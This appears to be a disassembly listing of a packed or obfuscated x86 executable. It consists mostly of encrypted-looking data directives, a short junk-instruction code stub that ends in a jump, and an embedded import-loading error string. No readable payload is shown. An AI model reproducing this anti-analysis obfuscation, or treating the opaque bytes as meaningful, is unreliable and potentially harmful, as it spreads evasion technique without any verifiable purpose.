		dd 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh,	97DFE017h
		dd 5F25F8F8h, 0F1CE9816h
		dd 725C7D80h, 89F275FDh, 0B8B01459h, 0F7DC75F9h, 97B55040h
		dd 0C3EF46F8h, 7A9775F5h, 0B9AADF0Eh, 5F58F89Dh, 0FBF79816h
		dd 7B7874C2h, 0FBB000FCh, 7B5F7182h, 795A74FCh,	82969E04h
		dd 0F7ABB69Ch, 970E5040h, 7AF3CDF8h, 72C075FDh,	89BC75FDh
		dd 0F19D1457h, 0F7EFFE3Dh, 977C4778h, 8BD08AF8h, 0E58D8DCAh
		dd 0F05EDF1h, 8D89C3B7h, 5E72315h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0B5C35242h,	0FB9CBBEAh, 0B985C7FCh
		dd 5005E708h, 6A000063h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 88B0C355h, 97B262A6h
		dd 8961AEAAh, 0E704E1BDh, 9985C705h, 5E70Ch, 89000000h
		dd 0E7095DB5h, 5B5FF05h, 6A05E716h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0BD2C350h
		dd 0D432CF40h, 0CE9517Eh, 64000000h, 8B3E4BC9h,	60E5161Dh
		dd 5EB194D4h, 32CD95FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0E624A6C3h, 4B97E92Dh
		dd 6AC18B66h, 1D95FF00h, 8B05E71Ah, 0CF5EEBC0h,	1B449DD6h
		dd 0E3300524h, 1D9AD6F2h, 2124372Fh, 5BBB92Ah, 84DA462Dh
		dd 72D06081h, 0E138F886h, 0EDC6C929h, 0A152BE93h, 1BD4A5DAh
		dd 59A90E94h, 86CF5413h, 0ACFF7C73h, 31F78CB5h,	872EA52h
		dd 0E751A649h, 8E40C4C2h, 0A06A5193h, 72C9DD8Ah, 3AC63CA5h
		dd 39C93282h, 0AB0340AFh, 9DE91Dh, 111F0000h, 0E1C2B25h
		dd 2E1B2028h, 3215222Eh, 29113E12h, 0DF963F11h,	91BF9F8Bh
		dd 91BF9F8Ah, 0AFA1818Ah, 0AAA68880h, 866A4F07h, 9DC69810h
		dd 7B52386Eh, 0AFBA075Bh, 21F0587Ch, 0C375E252h, 0B859C94Bh
		dd 609696C3h, 3579C3FAh, 40C33310h, 13h, 0F6EB28Ah, 449118C1h
		dd 7AEEA972h, 0F934FA12h, 526F23E1h, 3D0A5066h,	88F7CBEBh
		dd 105FA383h, 0E2CD1125h, 4FB886B4h, 0D8277B43h, 0A691EDF1h
		dd 327D4179h, 2E43A18h,	0EDF24D68h, 8A95E905h, 0D16CFFF9h
		dd 0A967A53Fh, 0B8774B10h, 5EDF2D7h, 4EBC503h, 4C6066E7h
		dd 0E61E9h, 0F4EF6800h,	70E905EDh, 68FFF98Ah, 5EDF5CDh
		dd 0F98A66E9h, 0F69D68FFh, 5CE905EDh, 68FFF98Ah, 5EDF746h
		dd 0F98A52E9h, 0FA9868FFh, 48E905EDh, 68FFF98Ah, 5EDFEB1h
		dd 0F98A3EE9h, 0FFA968FFh, 34E905EDh, 10FFF98Ah, 113E1224h
		dd 6C3B1535h, 6E351B23h, 6A311F3Fh, 0E3321E3Ch,	0A4929CD4h
		dd 0A4909FA4h, 0AE8E9FA4h, 93B395A2h, 7F5A0CBDh, 0C6981189h
		dd 522F9B8Ah, 3F085664h, 6502CEEEh, 0E9CC8687h,	0C95D0494h
		dd 877A4091h, 0C692C03Dh, 0C6D39B4Bh, 0C692C072h, 92C52071h
		dd 6874ECF4h, 295061F2h, 12000000h, 0A72FEE02h,	5D15AD12h
		dd 7159AAC9h, 14793139h, 0D689956h, 6DF44035h, 0C982C692h
		dd 0FF49DBC1h, 77B61F1h, 4F000000h, 9563Eh, 7A526800h
		dd 0EF390654h, 157022C6h, 8FD8DE0Ch, 4746AA41h,	54DAA0Fh
		dd 794AC95Ch, 0BA92BD25h, 4F05994h, 72C69DE0h, 0ABF43159h
		dd 0B4634262h, 61F1881Ch, 5228h, 8E99A600h, 0AED854AEh
		dd 0B76DB67h, 0EE02BE28h, 0AD98A72Fh, 397455A9h, 40BDF5BDh
		dd 72DE1DAFh, 79D2B7F6h, 76C95CF8h, 8882AD25h, 0C072C6D3h
		dd 2071C692h, 43A28BD7h, 0C03ABA7Fh, 9F4CC692h,	3A61CEFBh
		dd 8EED3C02h, 0F26C891Bh, 0CFBB61h, 350F0000h, 0DE1D3D6Ah
		dd 0DDF5D9F3h, 0E2388015h, 0EA3BC375h, 5E48B78Bh, 0EDB22278h
		dd 983D95A5h, 0C375E210h, 8CE3C213h, 1B64BA9Ch,	9E232D31h
		dd 0C375E746h, 0F0E9BCF4h, 0D2806442h, 4A6CBC93h, 4F6FB986h
		dd 0F5985473h, 388015DDh, 0C2C37549h, 754901F7h, 603102C3h
		dd 49E54B6Eh, 0ADFEC375h, 4055615Ch, 0C95C5DAFh, 0A955FBC4h
		dd 8DC03891h, 0B9938F49h, 17604995h, 4243A9D4h,	0CFEBAD08h
		dd 0BF88CCB8h, 381E0817h, 3F1F0B10h, 22413642h,	7D5EFA70h
		dd 0BB1h, 894777BDh, 864A68A2h,	804870B9h, 9C4C90BBh, 9DB38BB7h
		dd 0E1298130h, 0FD2877D9h, 0E32877D9h, 0E6260DC3h, 29B908C0h
		dd 9816248Ch, 9ACC3FC6h, 0FA566452h, 0F55B7BADh, 2FEE02D5h
		dd 0FEB912A7h, 65B6C95Ch, 0A5E64919h, 5EAFAF9Bh, 0FE3ABA1Fh
		dd 9F4CC692h, 727F11FBh, 0CF4D61F2h, 19000000h,	6547A52h
		dd 0F5C9F139h, 75E7D400h, 270701C3h, 0EFDA6529h, 67A18CEFh
		dd 1129113Eh, 0B107FCCDh, 0B2C375E7h, 91BE1061h, 685695B5h
		dd 0EAFCA14Fh, 5CF32ECFh, 507A4BC9h, 35DD0AD8h,	0BEFDD7E9h
		dd 5637B5B2h, 0A4F6597Ch, 320ACCB8h, 1DAC690Fh,	0E754979Eh
		dd 4C743C96h, 0A5168769h, 0EFCA9CC8h, 0C8A51619h, 0BDF8C91Ah
		dd 5F4C6856h, 15222E7Fh, 2E702D2Dh, 36702248h, 0AD3411Ah
		dd 919F0000h, 8E9CABA5h, 0AE9BA0A8h, 0B295A2AEh, 0A991BE92h
		dd 5F16BF91h, 113F1F0Bh, 113F1F0Ah, 2F21010Ah, 2A260800h
		dd 6EACF87h, 1DC69817h,	6A35B8EEh, 0CC230220h, 40288DC2h
		dd 43C375E2h, 2F2172h, 0CD113808h, 74F98F1h, 0EDC80E38h
		dd 7A52A367h, 0EF390654h, 91B887CFh, 0DD18714Dh, 0BEDCBE17h
		dd 3E90A891h, 75E2159Bh, 9EDD2EC3h, 46080DE3h, 5CEA8673h
		dd 0FC250AC9h, 40AFFEDCh, 0B409644Ah, 0CFDC636Bh, 77BA93EFh
		dd 0B9347757h, 0DC1BFD18h, 0EA200F68h, 82D3F3DAh, 0CDD01CA3h
		dd 290F3085h, 0BB8466F1h, 0E1A44867h, 2C9421E9h, 2776E685h
		dd 0FADF97D6h, 7CF33B97h, 64CB83ECh, 61CE0224h,	229A0727h
		dd 0CE1FCF36h, 0A036972h, 0C1CF0000h, 0DECC5BF5h, 0DECB50F8h
		dd 0C2C552FEh, 0D9C16EE2h, 2F466FE1h, 0C10F4F7Bh, 0C10F4F7Ah
		dd 0DF71517Ah, 0DA765870h, 56DAFFD7h, 6DC69814h, 7A52483Eh
		dd 83690654h, 12E633FBh, 11C375E2h, 0E29D63C0h,	4596C375h
		dd 3203236Ah, 0F0783D98h, 2C7DC95Ch, 90B095BAh,	0E28113Eh
		dd 8FEE3F1Fh, 0EFD1FA41h, 6B4298BCh, 0D33C1A04h, 12E633FBh
		dd 8FC692ECh, 667BB83h,	390964B5h, 92ECFC44h, 0FC11E3C6h
		dd 18D4C692h, 5F785D75h, 0EDCCBBF9h, 0C0289025h, 0DA2BC8BBh
		dd 85D92A9Bh, 0CF4C92BAh, 701F76E1h, 5A2CAF8Bh,	14000009h
		dd 15222E28h, 103F1131h, 12391727h, 6E351B3Bh, 0EF361A20h
		dd 0A09680D8h, 0A09483A8h, 0AA8A83A8h, 0AF8F99A6h, 734600A1h
		dd 0C698158Dh, 2239786h, 0FFA72FEEh, 40496750h,	6BCC2F78h
		dd 0C95CE72Ah, 0A60AAF27h, 0BDC692E6h, 0E44B036Ch, 5DA580A6h
		dd 361A3812h, 0C11D3D69h, 24447A6h, 0FABEB92Ah,	77B61B90h
		dd 3C1E5A7Fh, 0D46CC692h, 310AC641h, 0CBB8FBCAh, 4B10A4FAh
		dd 0F0A9FD4Fh, 8317A4B8h, 8C69DF6Dh, 0C6928A24h, 0B39DEE3Fh
		dd 928A966Eh, 0F99A53C6h, 5B1129D1h, 34AD6A4Ah,	7D0DF3C6h
		dd 3506C692h, 7C2089E4h, 8EC6927Dh, 8DF1BAB6h, 70B34883h
		dd 0B19EB283h, 9469B595h, 0C6923F58h, 0D77515C6h, 0FFDFC9F7h
		dd 0D7794AA3h, 0B0054248h, 0C6923FC8h, 55A9FACBh, 8870450Dh
		dd 8BC6923Fh, 0F69E7BBAh, 28C6923Eh, 93AB97B8h,	0AC3F7E4Fh
		dd 0AE8C9E2Ah, 0EFCAF2A2h, 0C6923C19h, 0D7EAC91Ah, 0F25D7516h
		dd 33BBFAD8h, 923C11E6h, 0F9C516C6h, 30994704h,	0B787B232h
		dd 2B131C6Bh, 9E38A3D7h, 6D6D3E2Ch, 9048ED67h, 198DFEDh
		dd 2EB0000h, 12A72FEEh,	0C95CF14Dh, 0C0E4270Ah,	4E5C93FAh
		dd 0E8B71F68h, 68419DA1h, 0AEFE410Dh, 0D1FB4088h, 86CCB18Dh
		dd 0C34F5B80h, 6AA20E88h
		dd 6DBF8444h, 46E80D40h, 99EAFE74h, 1A206E31h, 21C8E7DBh
		dd 4641EE62h, 0D7C36C66h, 73B29BE7h, 0C6E8200Fh, 0C2EB3D0Ah
		dd 8C14B617h, 35095A5Fh, 2D37AA40h, 6C6857BBh, 0C8F9210Eh
		dd 0E87120EEh, 0D72B74CAh, 0D5596168h, 0F557731Ah, 0F65DF3D3h
		dd 68DEF9D6h, 484D807h,	21C8E73Bh, 2C14216Bh, 5A403A0Bh
		dd 7A1AD522h, 0C688D92Ah, 0CDD60DF3h, 0A947FF3Ch, 0A5779C2Eh
		dd 176B4B43h, 3586E536h, 0BCF3D3FAh, 17764472h,	0F1C48CC6h
		dd 3CCDE40Fh, 74F83B04h, 0F3DBE32Fh, 175A7CACh,	0FFCE2C28h
		dd 0C42542BCh, 422A8FC7h, 593CCDE4h, 331CC008h,	9BF63519h
		dd 6651ADB1h, 0B83C0238h, 3315B7D3h, 0AA94BB13h, 3C7F4EACh
		dd 1D216B30h, 46B2FDB5h, 7DF46B0Bh, 0FC3F0828h,	1904E582h
		dd 8ADC2D0Dh, 5E7EA5h, 3580CA29h, 3CCD305Bh, 7AC10F58h
		dd 143A1252h, 8388F7CBh, 9F475FA3h, 79B086B0h, 0BE310C2Ch
		dd 0A0808818h, 127B4777h, 0E8200FC1h, 20E8F8C6h, 0CD302395h
		dd 94D7203Ch, 4B0300E9h, 0AFEDB83h, 93CCD30h, 881CFD38h
		dd 0A33CCD30h, 0A98F845Bh, 0B0818ACDh, 892CD498h, 3CCDC727h
		dd 0C708F0C5h, 3A0B3CCDh, 0F7D11869h, 43A28BD7h, 0C31F3F6Ch
		dd 0C4645A4h, 3052AB34h, 0E8CBF971h, 8B71D7E2h,	21723CCDh
		dd 7D357B2Fh, 57BD7FA0h, 24277F66h, 0F62291B0h,	34147BBAh
		dd 0AB413E12h, 0A7F0D6F4h, 17618A2Fh, 2D7EC95Ch, 6752FDA5h
		dd 172E9257h, 5CACC692h, 5FBF53BBh, 0BEFDCE9Fh,	2226B34h
		dd 42461CEh, 714DEA42h,	5FBB8596h, 0C6143A10h, 1DBA84E7h
		dd 0AC84CECFh, 8BC7AA88h, 0F2F83BAEh, 0BB806227h, 0E83607CCh
		dd 0BB8CAF15h, 87866AC8h, 69A9EACFh, 0E75FC292h, 13F2794Bh
		dd 71C22167h, 0BBEDDA20h, 31C2E69Bh, 0B28E7607h, 60829h
		dd 0F8DECA00h, 0E3C3CB50h, 0E1D9C66Dh, 0E5C9C06Fh, 0E4D2DC6Bh
		dd 762A5964h, 71DE7248h, 71DE724Ah, 4FD47454h, 0D2D7795Dh
		dd 185325F0h, 2550C698h, 0A80D3575h, 0C375E2C0h, 0E2299F3Ah
		dd 0D92AC375h, 0C1FC3F08h, 734B742Bh, 21F4DE2Fh, 0C375E25Fh
		dd 903A0B54h, 674747E8h, 75E23E82h, 89E435C3h, 0EA73E8CDh
		dd 0C189C95Ch, 92EA0CF4h, 9C3607C6h, 92EAB739h,	634CC6h
		dd 142C7CB3h, 0F9C11234h, 3A36482h, 606ABBC2h, 8856CBC8h
		dd 310C9EBAh, 0E1876CD1h, 0A02C692h, 0BFE9D624h, 84C7439Fh
		dd 0F992B802h, 8759CBD1h, 0E46B61F2h, 7F000000h, 75E26CD8h
		dd 250087C3h, 0EACADDE3h, 0E464B594h, 0AB23E00Fh, 75E2A20Eh
		dd 6E60B1C3h, 41C3F6D6h, 2E96E29Fh, 6CAEF0CAh, 3F036202h
		dd 5AF6D8F0h, 54D4E9Dh,	0B3F0785Dh, 0A2F3C375h,	0B33B8D28h
		dd 0EF38C375h, 15F3C68Ch, 0E7C375B3h, 0B964FC4Fh, 3F1B643Ah
		dd 1057AF60h, 35053276h, 74B780E9h, 1F68B687h, 0F345500Dh
		dd 0F0C3751Dh, 0C47C56A7h, 6306E655h, 0D61A596Bh, 9931D219h
		dd 7589983Ch, 480253C3h, 31971EF0h, 714CF1F0h, 26C8AC11h
		dd 5E16C376h, 0A7ADB0E6h, 6746035Eh, 99915274h,	72C60E9Fh
		dd 5120E5EBh, 4B993204h, 2EBDC023h, 0C450656Dh,	8FC375BBh
		dd 7D4569A0h, 3792493Bh, 1A4C9DCBh, 15F14752h, 4F7BC375h
		dd 7B94F6CDh, 0C688D9AAh, 75C50DF3h, 0F63506C3h, 0FD417Ah
		dd 2E90000h, 12A72FEEh,	0C95CE701h, 575B7F37h, 7108E3F2h
		dd 5E704132h, 8C5457E6h, 1D6C2A62h, 0F0D92515h,	37624DB5h
		dd 0DA32C907h, 7AA48BC3h, 4055615Ch, 0C692EDFCh, 0C5E5210Eh
		dd 0E05590F9h, 341B4B97h, 9CED3115h, 0ED7DF8A1h, 0BDE8C692h
		dd 4F7A4599h, 97DA330Fh, 0D14D91B5h, 9CB2FC9Ah,	24735CD4h
		dd 7BE831C8h, 0EC321434h, 8B0F5E9Dh, 784CE65Eh,	11B1B5FBh
		dd 28CD47D2h, 7CFF61F2h, 0CB000000h, 3236A35h, 0F08FEE3Fh
		dd 0EF516418h, 0E4C375E2h, 0B5004A9Bh, 0C375E2C3h, 5CABF7C0h
		dd 73537B51h, 0B7512E22h, 0A3C1D4FEh, 31C375E3h, 0E3C4AC09h
		dd 8EDFC375h, 0C58DDEAFh, 6112EC6Dh, 8DE82D74h,	0AE74C0B5h
		dd 3AAAC376h, 996F4A72h, 9AC3752Eh, 2E04EC49h, 0CE1FC375h
		dd 1EDAFCEFh, 3A9F37EEh, 0C3752F6Ah, 13E530F8h,	10C3752Eh
		dd 0C617E4C7h, 0EEE2B48Ch, 3681EEF5h, 52A979F7h, 5E06547Ah
		dd 655FF2E6h, 0B9F4EC50h, 0FC6C725Ah, 0A224E907h, 0AE64258Ah
		dd 7D559E57h, 75CBD058h, 0A382D3C3h, 0D9B18E2Bh, 55A6C95Ch
		dd 0D6E4D27Dh, 6ED6AB97h, 18C692D5h, 8D925773h,	564BA9Ah
		dd 53E17326h, 71E361F2h, 0FB000000h, 0DD12E633h, 0C011C692h
		dd 7D35F5E5h, 0FEDCB50h, 72FFC7ABh, 65094BD7h, 8D631E5Dh
		dd 0F17F4481h, 0C51671C6h, 4C7AC58Dh, 1CD9300Eh, 0C375AA94h
		dd 0AAFD4356h, 0A5F6C375h, 22A88BD4h, 5CB63697h, 9CE233C9h
		dd 92865BD9h, 587E2DC6h, 0F22AE070h, 40551D61h,	0C69292F8h
		dd 92C1B702h, 0F1C2C692h, 2F94D720h, 11Bh, 0A9AD98A7h
		dd 0A1397455h, 6547A52h, 9A28E65Eh, 0B2B9221Fh,	0C6CBBD18h
		dd 0FFC8C375h, 516951BCh, 2CED450Dh, 3BC62153h,	7058B7F6h
		dd 0E527106Eh, 67A689C1h, 4B159B3Eh, 0DD2EC375h, 1C5FAE8Ch
		dd 60142CD0h, 595A6F1Bh, 180845D3h, 2576AB58h, 7CF361C6h
		dd 2666C375h, 2963C800h, 529E3905h, 1B5666ADh, 0F9D02E2Eh
		dd 0B67E26A8h, 75429D63h, 0E04596C3h, 0C3754218h, 0E3EBCA1Bh
		dd 5C515DD6h, 9E3BE3C9h, 0C6924D2Ah, 23F6D829h,	0C6924D5Dh
		dd 55260556h, 0ABFD4204h, 0CFA4A88Bh, 0A26A7C21h, 0FADF969Dh
		dd 0C6924D76h, 8FD33C0Dh, 3F8114BEh, 34C6924Dh,	0F02F88EBh
		dd 0E1CCB822h, 2A113E90h, 0B49BD312h, 0B79C4C8Ah, 0F4CEB38Bh
		dd 0BC7022AEh, 1EF37A4h, 0B5E30000h, 0AAE04F81h, 0B2FF4484h
		dd 0AEF9468Ah, 0CDF5428Eh, 4372438Dh, 351B236Fh, 351B236Eh
		dd 331D3D6Eh, 0CE022464h, 7ACEEBFBh, 79C6981Ch,	64525C0Ah
		dd 7BADFA56h, 11624245h, 0FC9681B9h, 0FF98B74Fh, 290B0BCh
		dd 371731EEh, 0C9B882EBh, 0B617EA71h, 0C28ADC2Dh, 83143C6Ah
		dd 0EBCA6012h, 5C08AD0Eh, 25794AC9h, 97A792BDh,	0A603624Bh
		dd 0C69DF0DEh, 0FDE7E3A8h, 61F17C63h, 0D961h, 7A526500h
		dd 0F1390654h, 0D400F5C9h, 1C375E7h, 0F57B5E07h, 8EC375E7h
		dd 57FC6CBDh, 720D5175h, 0DC85817Eh, 75E777F9h,	0D2230CC3h
		dd 7A6CBD8Ch, 5CF4D65Fh, 9EB283C9h, 400A0BE1h, 0B89E4B75h
		dd 0BDEEB1CCh, 3EE9ED94h, 2E7F1D55h, 433580D0h,	40C8A5F7h
		dd 76C72677h, 9582AD25h, 230C46A5h, 2209C7F7h, 961ABFF4h
		dd 0ADC8A5F7h, 3E8E735Ch, 0EA70216Ah, 0F70D4Eh,	0CDFB0000h
		dd 0D2F84789h, 0CAF75C8Ch, 0D6F15EF2h, 0C5CD5AF6h, 3B4A5BF5h
		dd 0CD033B67h, 0CD033B66h, 0CB052566h, 0C60A2C7Ch, 62D6E3E3h
		dd 61C6981Dh, 64524432h, 7BADFA56h, 307F4145h, 86D73604h
		dd 4E0051B8h, 0B886A6E1h, 2A101E51h, 0BAB6F5D4h, 0FD27B28Ah
		dd 5A500104h, 759D897Fh, 68B98AC3h, 7A525D0Dh, 0EF390654h
		dd 866A01CFh, 8011438Eh, 257663C8h, 0A98982ADh,	0BD397455h
		dd 636BE118h, 6DB182C9h, 27A6CD65h, 0CBF79BA7h,	0A38385E8h
		dd 0BE8686ADh, 5575516Fh, 86D72009h, 0A98C5B8h,	484308EAh
		dd 0FF291664h, 7CEF83DFh, 4E19D05Ah, 8ED0F848h,	0F3D3F542h
		dd 140F27AFh, 0DF5791ADh, 0E64A6F67h, 0FD8C09F2h, 2B6251ACh
		dd 0DFC8370Bh, 2643A3FFh, 68841F07h, 0E2DAC128h, 5773189Ch
		dd 7A1CCFEBh, 70D8FE2Eh, 0D6C3E12Bh, 60B198E6h,	3411Ah
		dd 23E90000h, 5066526Fh
		dd 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh, 7B434FB8h
		dd 0EDF1D827h, 4179A691h, 3A18327Dh
		db 0E4h, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	5EDF342h
		mov	eax, [esp]
		add	esp, 4
		push	10E6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, eax
		mov	[ebx+8], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		dw 3583h
		dd 0AFF2A37h, 0C5B81243h, 305EE00h, 96E0FFC5h, 0FD014238h
		dd 2A03DDC6h, 0D36133Ah, 196BA47Ah, 0A670D959h,	0E11F8942h
		dd 4F36C78Ah, 1F068173h, 0AF334BD9h, 163F7699h,	77A0AF0h
		dd 0E64E65BCh, 9E050C08h, 0C36641B5h, 3726F390h, 0D8401E95h
		dd 447CD4A6h, 0F4742285h, 0C448C71h, 0DA63C099h, 222D6507h
		dd 0E84312A5h, 0Ah, 0F07D7EBDh,	88A67EC4h, 0F5BB14Ch, 686h
		dd 0C8E18100h, 81289702h, 666AC3h, 8E900h, 139C0000h, 0D673A089h
		dd 0B88B99h, 0F000000h,	348BFEBFh, 6E903h, 0E9A50000h
		dd 0AAAD4FDFh, 72A5F681h, 81661725h, 81806FEAh,	7CCC4F6h
		dd 0D2B70F6Dh, 181DF681h, 83BF2E00h, 890BB191h,	0FF90334h
		dd 0E883FEBFh, 0C9B70F01h, 81484848h, 0FF9A58F8h, 1C850FFFh
		dd 81000000h, 0C86D92D7h, 40E90Ch, 5E000000h, 218AAC5Eh
		dd 0F9981A50h, 9314D0D2h, 0E9A7F9B7h, 14h, 6ABEDBD0h, 2B70CCA7h
		dd 14E77DAh, 0F745EDF8h, 2994AC70h, 0FFFF7DE9h,	0BF00F3FFh
		dd 0B177B368h, 0CE62AA03h, 9174EF5h, 27E9EB62h,	50000001h
		dd 0AC73765Bh, 154EEFh,	41000000h, 7245206Eh, 20726F72h
		dd 20736168h, 7275636Fh, 20646572h, 6C696877h, 6F6C2065h
		dd 6E696461h, 6D692067h, 74726F70h, 0AC370073h,	5CEB77E7h
		dd 3C4977E7h, 0E21F77E7h, 0E30077F7h, 77F7h, 777E6h, 5 dup(0)
		dd 0A5FD0000h, 77E7h, 2Bh dup(0)
		dd 20000h, 0E1480000h, 1DF4C706h, 0A6CF6392h, 6B5B8F96h
		dd 131137F2h, 7335B11Ch, 6641D509h, 35722B61h, 77A9F29Eh
		dd 0EF883211h, 8157E790h, 52BFBF10h, 9914DBBFh,	0E5D069C6h
		dd 815827A8h, 71563210h, 77A96145h, 0EF883211h,	8157E790h
		dd 45BFBF10h, 9914DBB2h, 0EDD069C6h, 0BBF9B1D5h, 6627DC17h
		dd 6601B61Ah, 0E3053215h, 63A9C2A4h, 0E3AFE2EAh, 63FCC2F4h
		dd 0E34EE2EAh, 63A335ECh, 0DE705A43h, 0D3EEAEBDh, 636F1FD0h
		dd 1F27B798h, 0B6DD37FFh, 5768B79Ch, 0E30537F2h, 63AA31B8h
		dd 0E8A7BF45h, 3614DC17h, 7AE9A7EAh, 0E38337F2h, 63C53C08h
		dd 66113215h, 6171B7D3h, 0E0137F2h, 0E8505B7Ch,	6A3487EAh
		dd 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63F63FBCh, 6171B7D3h
		dd 0E0737F2h, 0FA45594Bh, 6A3487EAh, 0E30537F2h, 63A30B02h
		dd 0E3ABE2EAh, 63FF30D0h, 6171B7D3h, 0E1037F2h,	88405A3Ch
		dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF30DCh
		dd 6171B7D3h, 0E0137F2h, 0BC420AD7h, 6A3487EAh,	0E30537F2h
		dd 63A30B02h, 0E3ABE2EAh, 63FF30D8h, 61798F96h,	694437F2h
		dd 66227790h, 9F94F415h, 238DD512h, 463AB47Dh, 4397CDEFh
		dd 0EB14D519h, 81B12590h, 0EF94CD10h, 8820E390h, 9F94F410h
		dd 2A8DD512h, 4094F17Dh, 4397CDF5h, 0EB14D519h,	81B12590h
		dd 0EF94CD10h, 8820E790h, 6651DB10h, 0E34E3215h, 63A335ECh
		dd 822F5A47h, 0D3EE8E5Fh, 636F3F48h, 5F53B798h,	0B6DD37F2h
		dd 64C0B79Ch, 0E34E37FBh, 63A335ECh, 2C6A5A47h,	0D3EE9459h
		dd 636F3F48h, 5F53B798h, 0B6DD37F2h, 64C4B79Ch,	0E34E37FBh
		dd 63A335ECh, 0D2C85A47h, 0D3EECF57h, 636F3E30h, 5F53B798h
		dd 0B6DD37F2h, 5458B79Ch, 0E34E37F2h, 63A335ECh, 0CE815A62h
		dd 0D3EEC182h, 636F21D0h, 5F53B798h, 0B6DD37F2h, 65A0B79Ch
		dd 0E34E37F2h, 63A335ECh, 57355A47h, 0D3EEB8C8h, 636F3E30h
		dd 5F53B798h, 0B6DD37F2h, 4380B79Ch, 0E34E37F2h, 63A335ECh
		dd 0B1B5A43h, 0D3EEE60Ah, 636F1FD0h, 1F27B798h,	0B6DD37FFh
		dd 41B0B79Ch, 0E34E37F2h, 63A335ECh, 76585A52h,	0D3EEB3C9h
		dd 636F3E30h, 5F53B798h, 0B6DD37F2h, 4AFCB79Ch,	0E34E37F2h
		dd 63A335ECh, 0D3C05A52h, 0D3EEB81Ah, 636F3E30h, 5F53B798h
		dd 0B6DD37F2h, 64E4B79Ch, 0DB0B37FBh, 63A33CBCh, 37A63D15h
		dd 0A0113213h, 818FCB90h, 8F2C7E10h, 99FBE809h,	811D17A0h
		dd 710DBF10h, 9941D52Ch, 87A7BBC5h, 0A014DC17h,	818FCB90h
		dd 0A82C7E10h, 99FF46CBh, 811D17A0h, 710DBF10h,	9941D52Ch
		dd 83A7BBC5h, 0A014DC17h, 818FCB90h, 592C7E10h,	9995B397h
		dd 811D17A0h, 710DBF10h, 9941D52Ch, 8FA7BBC5h, 0A014DC17h
		dd 818FCB90h, 7E2C7E10h, 99911D55h, 811D17A0h, 710DBF10h
		dd 9941D52Ch, 8FA7BBC5h, 0A014DC17h, 818FCB90h,	722C7410h
		dd 9998EC13h, 811D17A0h, 710DBF10h, 9941D52Ch, 97A7BBC5h
		dd 0A014DC17h, 818FCB90h, 1C2C7510h, 99A3EE05h,	811D17A0h
		dd 710DBF10h, 9941D52Ch, 9FA7BBC5h, 0A014DC17h,	818FCB90h
		dd 0CA2C7510h, 99CDB59Bh, 811D17A0h, 710DBF10h,	9941D52Ch
		dd 9BA7BBC5h, 0A014DC17h, 818FCB90h, 0B42C7510h, 99F6A8B2h
		dd 811D17A0h, 710DBF10h, 9941D52Ch, 67A7BBC5h, 0A014DC16h
		dd 818FCB90h, 622C7510h, 9998F32Ch, 811D17A0h, 710DBF10h
		dd 9941D52Ch, 63A7BBC5h, 0E514DC16h, 819483A8h,	46313210h
		dd 61DBB7D3h, 0E5637F2h, 86FA1F72h, 6A6187EAh, 0E3AF37F2h
		dd 63F60B02h, 0E301E2EAh, 63AA311Ch, 61DBB7D3h,	0E5637F2h
		dd 0E8A181A4h, 6A6187EAh, 0E3AF37F2h, 63F60B02h, 0E301E2EAh
		dd 63AA3118h, 61DBB7D3h, 0E5237F2h, 0A6FE78B2h,	6A6187EAh
		dd 0E3AF37F2h, 63F60B02h, 0E301E2EAh, 63AA3104h, 61DBB7D3h
		dd 0E5D37F2h, 9DEE5EFEh, 758187EAh, 0E3AF37F2h,	63F60B02h
		dd 0E301E2EAh, 63AA31B0h, 61DBB7D3h, 0E5537F2h,	0DDFBBC40h
		dd 6A6187EAh, 0E3AF37F2h, 63F60B02h, 0E301E2EAh, 63AA3100h
		dd 61DBB7D3h, 0E5237F2h, 0DA065CE9h, 6A6187EAh,	0E3AF37F2h
		dd 63F60B02h, 0E301E2EAh, 63AA310Ch, 61DBB7D3h,	0E4237F2h
		dd 0A0980CBFh, 6A6187EAh, 0E3AF37F2h, 63F60B02h, 0E301E2EAh
		dd 63AA3108h, 49678F96h, 691137F2h, 6688D291h, 9FC1F415h
		dd 2027D512h, 0F0DF037Dh, 433DCDEFh, 0EB41D519h, 811B2590h
		dd 0EFC1CD10h, 888B4B90h, 9FC1F410h, 2027D512h,	0C12BE47Dh
		dd 433DCDE9h, 0EB41D519h, 811B2590h, 0EFC1CD10h, 888BBB90h
		dd 9FC1F410h, 2027D512h, 9AB5327Dh, 433DCD87h, 0EB41D519h
		dd 811B2590h, 0EFC1CD10h, 888BBF90h, 9FC1F410h,	2027D512h
		dd 0B25E587Dh, 433DCDE3h, 0EB41D519h, 811B2590h, 0EFC1CD10h
		dd 888BA390h, 9FC1F410h, 2027D512h, 0AB41D57Dh,	433DCD81h
		dd 0EB41D519h, 811B2590h, 0EFC1CD10h, 888B4F90h, 9FC1F410h
		dd 2027D512h, 4465097Dh, 433DCDA4h, 0EB41D519h,	811B2590h
		dd 0EFC1CD10h, 888BB390h, 9FC1F410h, 2027D512h,	1FFBDF7Dh
		dd 433DCDCAh, 0EB41D519h, 811B2590h, 0EFC1CD10h, 888BB790h
		dd 0D7F9B110h, 6627D509h, 0E3D71260h, 636F35ECh, 861A5A46h
